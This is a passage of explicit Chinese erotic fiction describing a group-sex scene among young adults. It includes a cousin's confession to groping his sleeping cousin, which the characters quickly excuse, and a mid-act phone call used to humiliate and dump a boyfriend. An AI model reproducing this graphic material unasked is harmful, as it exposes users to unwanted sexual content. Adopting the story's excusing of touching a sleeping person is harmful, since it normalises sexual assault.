我满意笑着,女友看我抱着好友,也没吃醋,倒是雪被翻开小屄,羞得猛摇身体要挣扎开我,环这丫头居然还好奇地住雪的私处细看:“想不到雪你这儿长得蛮漂亮的,粉嫩嫩的好像没用过几次。”
雪私处曝光,本身已经羞赧不已,如今被好友评论,就更是无地自容。最可怜是环不但自己看,更拉起身边的平一起欣赏,使雪有羞愤自尽的难堪,大声向我骂道:“快点放开我!”
我怕会玩出火来,於是立刻把女孩放下,环亦害怕雪怪责自己,立刻装作若无其事,转头向平教训说:“嗨,那麽多事干什麽?自己的事也做不好就管别人了。我不够漂亮吗?总是盯着自己的表妹,你是变态吗?”
“没有啊,环你很漂亮,第一次可以和你,我死而无抱憾。”
平傻愕愕道,女友对讨好说话最为受用,甜丝丝说:“是吗?我真的很漂亮吗?”
“是真的,环你美得像仙女,皮肤又嫩又滑,我想摸一下可以吗?”
平盯着女友的乳房,色迷迷问着。环挺起胸脯,含羞点头。男孩吞着唾液的伸出手来,贪婪地住一对软肉上恣意抚摸,沉醉於女友胴体之上。
经过刚才的责骂,男孩这次小心翼翼,半点不敢用力,环没有反抗,也就让他放肆地玩弄自己双乳。女友的奶子不大,仰卧床上受地心吸力就更显得平平无奇,只是对平这初哥来说已经是诱人无比,平爱不释手的赞叹道:“这就是女生的奶子啊,真的很大很软,摸在手里十分舒服。”
环自知胸脯不大,是半个飞机场,哼着嘴说:“姐姐比我大多了,你刚才摸完她现在来摸我,却还说大,分明是在讽刺我。”
平怕被误会,连忙解释道:“没有,我也知道妍姐身材很好,但刚才没摸过她,所以不知道。”
伟好奇问:“没有摸她?你刚才不是跟她亲热的吗?就是早泄,也总有抚摸过奶子吧?”
平面带失望,又像是有点惭愧的摇头:“真的没有,说实话我当然很想摸,但妍姐连毛巾也没脱下来,只说我第一次不要太心急,慢慢来就好,然後伸出小手儿来给我摸几下,我就忍不住射出来了。”
原来如此,强果然说得不错,妍还是用往年招数来摆平这小处男,不过连奶子也不给人玩玩就迫人弃械投降,又真是狠了一点。
“是这样吗?那你即是从未摸过女孩子?我是你第一个?”
环满有趣味的问着,男人对夺去女生处女为傲,女人对成为男生的首位女神,亦有点虚荣作崇。
“那又不是,我也摸过...”平傻呼呼的有话直说,但话到嘴边,又急刹停了车,面带慌张的猛力摇头:“还是没有了,是我搞错了一点。”
可环的好奇心比花猫要重,听到这话明显作假,又怎会放过,她用力抓着平的鸡巴,警告说:“不准说一半,继续讲!”
“呜!断,要断了!你先放手,我老实招认就是了。”
平痛极高叫,连声求饶,女友目光凶狠,恐吓不如实招来,有人小鸡不保。
环放手後平脸如死灰,彷佛说不说也是死路一条,向女友作哀求道:“这是我人生最大的秘密,就只告诉你一个,千万不要说出来。”
环拍拍心口,作个保证:“你放心,本小姐最能守秘密,天掉下来也不会说出来。”
平别无他选,只有战战兢兢地在环的耳边小声说出秘密,女友一听,登时怪叫道:“你摸过雪的奶子?”
平张大嘴巴,脸色青白,汗水不断从额上冒出,有如瀑布流下。我摇摇头,心想要女人守秘密,就如要母猪爬树,比登天更难。不过也没想到是下一秒便公开就是了。
可是平这男孩又真是正直得可怜,这种时候就是说谁,也不要说就在现场的人呀,这不是自掘坟墓?蠢到如此,难怪到这年纪仍要打手枪渡日。
果然雪听到表兄首次摸奶的对手居然是自己,顿得满面通红,发怒说:“你胡说什麽,我什麽时候给你摸过奶子了?”
平知道事情败露,低下头来,愧疚的说:“对不起,表妹,我是在你睡觉时偷偷摸的。”
平和雪居住甚近,两家人感情要好,两表兄妹亦有如亲兄妹般亲昵。有时候雪下课後闲着无聊,会到表兄的家里打电玩,有次倦极在沙发上入睡,平看到女孩衣着清凉,胸脯曲线从轻薄的上衣勾出,一时火起,便偷偷在外面摸了几把。
“你这个变态!我是你表妹,你这是乱伦啊。”
雪没想到相信的表兄竟然会非礼自己,生气至极,平跪在地上,语带抽泣的说:“对不起,表妹,那天是我生日,我心情很差,这二十多年都是自己庆祝,初恋情人拍拖半个月就劈腿了,我连女孩子也没摸过,觉得自己很没用,刚好回家看到你睡着了,很好奇女生的胸部是什麽感觉,所以一时忍不住...你就原谅表哥一次!”
“你这个色狼!我要告诉姑妈!”
雪动气说,环知道祸是自己惹起,替平说好话道:“雪你冷静点,生日一个人是蛮难受的,你表哥只是一时胡涂,都向你道歉了,你便原谅他一次吧,平日你俩感情那麽好,也不值得就这样翻面啊。”
“这...”雪咬着下唇,说实话平对雪视如亲妹,照顾有加,雪亦当然不会感受不到,今次表兄对异性有兴趣,又苦无对手才会做出错事,念在初犯又是自首,也就放他一马:“好吧,就看着环的面子,放过你一次,以後不准对我有歪念啊!”
“谢谢表妹,一定不会有下次。”
平连声多谢,这时环又插上一句:“没事就好罗,其实雪你也不用太介意,好像如果平哥偷看你洗澡,你一定会骂他变态下流,但事实上你现在还不是脱光衣服给他看?只不过是看你有没接受吧。”
“环你!”
雪羞得即时捂着胸脯,我再次摇头,心想你这小顽劣真是唯恐天下不乱,不应该说的都说了出来。
身为男友,让环摆平也算是日常事务之一,我满有经验的打完场说:“不要愈扯愈远,我们还有重要工作要做。”
雪咕噜道:“什麽重要工作,还不是下流的事。”
我取笑说:“你和表哥感情要好,看着他跨过人生一关,替他打打气,也是重要事呀。”
“你变态!”
雪羞骂道,我无耻笑着,同时向环打个眼色,女友脸上一红,有着默契地躺在床上,娇憨说:“人家等不及了,你还不来啊?”
环这一声风骚入骨,诱惑非常,就是连我身为男友的也禁不住心头一颤,平更是口水直流,那条包皮过长的鸡巴硬如石柱,整个嫩红龟头亦完全冒在外面,兴奋无比。
面对如此美宴,平仍像刚才妍呼唤自己般不敢走近,我好意拍拍男孩肩膀,提点说:“女人的心思每秒在变,机会错失了就後悔莫及,男子汉大丈夫,在需要做的时候,就要落实心肠干到底。”
“我知道了,大哥!”
平得我支持,信心大增,雪在我耳边轻蔑道:“叫别人干自己女友,还要说得那麽大义凛然。”
我斜视女孩,心想待会不把你操个妈妈大叫,我就不是男人!
平鼓起勇气,如新兵上战场,浩浩荡荡的来到床边,可看到女友阴毛下的一条蜜缝,立刻又露出不知所措的表情。环知道男孩青涩,掩嘴笑道:“不用怕,姐姐会给你很舒服的。”
“嗯。”
平点点头,战战兢兢的爬到床上,环娇纵万分,主动张开双腿,以指头拨开屄口,两片阴唇兴奋得充血胀起,女友诱惑道:“来啊,好哥哥,人家想要你的棒棒。”
粉红嫩壁,是叫每个男人向往的神圣地方,我们可以听到平喘起一声夸张的鼻息,激动之情尽现脸上,我住耳边的雪笑道:“看到没有?男人的第一次,跟女人是同样紧张的。”
雪面红耳赤,可却眼珠碌碌,牢牢地盯着表兄的肉棒,手儿也不自觉地抚摸我的阴囊,感受当中火烫的热量,小嘴间不断渗出迷人气息。女人就是有多口硬,动情时仍是需要男人的抚慰。
直到平爬到跟前,环转头望我,媚眼如丝,淫靡的说:“老公,你的小环要跟别人屌屌了,你好好看哦。”
此刻我俩心意互通,再无阻隔,我微笑点头,平急不及待,挺起肉棒,从女友的腿间的下陷位置缓缓插去。
“呀!”
甫一接触,两个人同时哼出半声,我可以看到龟头完全搭在屄口,只需轻轻一挺,便能长驱直进。可是这种对我们来说简单不已的事情,对平这种毫无经验的男生却有一定难度,他明明对准了位置,可又担心的再次确认,结果左笃右插,总是没法找到要领。环被坚硬鸡巴在敏感之处磨来磨去,逗得心痒难耐,忍不住一手抓住肉棒,摆放在屄口之前:“这里啊,笨瓜!”
这时候环异常兴奋,淫水奔流,肉缝间早已沾湿一片,平的龟头嫩肉被双片湿润的阴唇一夹,顿时流露出一个爽歪歪的陶醉表情,却不懂向前推进,气得女友猛摇大腿,连声嚷道:“你插进来啊,这样痒死了。”
过门不入,其吊人瘾的难受非笔墨能够形容,只是平首次接触女体,那份浸淫在爱液温暖的美妙感觉叫其如上天堂,不懂反应,像半个木头般呆住不动,口里喃喃自语:“好爽啊,这就是干屄了,妈妈,我终於是个男人了。”
我叹口气,心想正牌宅男果然是名不虚传,着耳边的雪道:“你表兄原来真是什麽都不会,我们去帮他一把吧?”
“我不要!”
雪大惊,我笑道:“都说这是男人生命里重要一刻,你帮他一下,他一生都有恩於你。”
“真的吗?”
雪有点心动,狐疑问道,我笑笑拿起她双手,扶在平的腰间,对她打个眼色,女孩脸上一红,闭起眼帘,用力向前一推。
“呀呀!”
环和平的头同时向天昂起,喉间发出畅快的长嘶,像是压抑了很久的情绪终被释放出来,得到无比满足。我知道雪这一推,把平的整条鸡巴都塞进了女友的阴道里去。
“乖女孩,给你一点奖励吧。”
我满意雪的听话,从後把龟头顶在她的阴唇口上柔柔挤压。雪被我逗弄得呼吸沉重,有话难说,只肉紧地抓着我的手背,掌心满是汗水,我知道她已经急不及待,於是腰身稍稍用力,缓缓地向那沾湿的阴唇下磨蹭。
“呜...”雪被逗得瘫若软泥,发出抑压般的呻吟,我在女孩耳边小声说道:“舒服吗?舒服就叫出来吧,不用觉得难为情的,你看,你表兄的鸡巴已经都插在我女友的洞里去了。”
雪眼神迷离,朝着眼前的两人望去,只见平和环的阴毛完全连在一起,紧密无缝,那根包皮过长的鸡巴,是确确切切地进入了女友的阴道之中。
“讨厌...”雪再哼一声,可屁股却在轻轻摆动,有助我可以凭藉磨擦使双方得到快感,我一面享受女孩胯下温暖,一面笑道:“你这样使我很舒服。”
雪作个撒娇表情,没有反抗什麽。这时候环爽脆地呼一口长气,着我道:“老公,他屌得我好爽唷。”
我笑说:“他只是插了进去,还没开始操,小男孩,这样呆着女生不喜欢的,要学我前後抽插,她们才会觉得爽。”
说着我把鸡巴向後抽动,龟头菱角有如倒鈎般刮着阴唇,使雪又是唷唷的叫了出来。平看了表妹还未插入,已经叫得性感诱人,於是依样葫芦,学我摆动下盘,女友亦同时呻吟起来:“嗯!好舒服耶。”
“是这样了,你刚才也看到俊操妍的方法吧?你们是新手,没什麽技巧也没关系。好好享受就可以了,没人会怪责你的。”
我以前辈的身份指导平,男人初上战场,可以不立刻败阵已经算很成功了,想当年我跟妍的第一次在胡里胡涂里完事,倒是後来和曾太太上床时可以支撑一段时间。小青头刚才被妍用手泄了一次,看来这次应该不会早泄。
“这就是做爱了,比想像中的还要舒服啊,太爽了,真的太爽了。”
平感动非常,下体抽插的动作亦愈来愈快,女友小屄水源充足,被干得唧唧水响。环享受着性交快感的同时,也像大姐姐般骄傲说道:“舒服吗?以後认识了女朋友,也不要忘记请我和泽去喝喜酒啊。”
“一定一定,两位今天的大恩大德,小弟没齿难忘。”
平感激道,女友噗哧一声笑出来,手往男孩颈项缠着,半支起身子,让平的鸡巴可以插得更深入。
难得女友放开怀抱,尽情享受,我亦感触起来,看看怀内依人,被我鸡巴磨得眼眸惺忪,茫茫然不知所以,於是柔声问道:“那你肯跟我做吗?”
雪看到环和表兄在床上猛干,春情泛滥,自然不会拒绝,可正要说好,却又望望壁上大钟,向我说:“我想打个电话,可以吗?”
我有点意外,奇怪道:“现在半夜两点了,你还打给谁?”
雪没有回答,牵着我手来到床头,从自己的小手袋中拿出手电,拨起号码,正当响起铃声时她又拥抱着我,以肩头夹起电话,默然不语。
也许这种时候对方已经入睡,等了好一会儿,才终於接下电话,雪声线中带着倔强,沉声道:“是权吗?睡了没有?”
我们三个听见名字同时呆住,正在大战的平和环不敢动弹,雪一脸平静,若无其事的道:“我还没有睡,现在跟朋友玩联谊派对...对啊,就是以前说的那种大家一起做爱的,原来真的很刺激,很好玩,以前跟你说我没玩过,你不相信,我今天就玩了。”
说着,雪扶正我的鸡巴,缓缓插入自己的小屄:“现在我朋友的老公要插进来了...呀呀...真的很大...比你大多了...呀呀...对啊,我就是这样子...你不就早知道了...如果今天没来,我也不知道你是个差劲的男人...说我是免费妓女?没关系,反正你也是性无能,大家彼此彼此吧,不跟你说了,我继续享受...再见罗...小鸡巴...打你的飞机吧!”
挂线後,我们仍然未能相信,雪看到大家一脸错愕,哼着嘴说:“怎麽了?未见过别人分手吗?”
“没有!没有!”
我们一起摇头,装作什麽也没听见,继续干要干的事。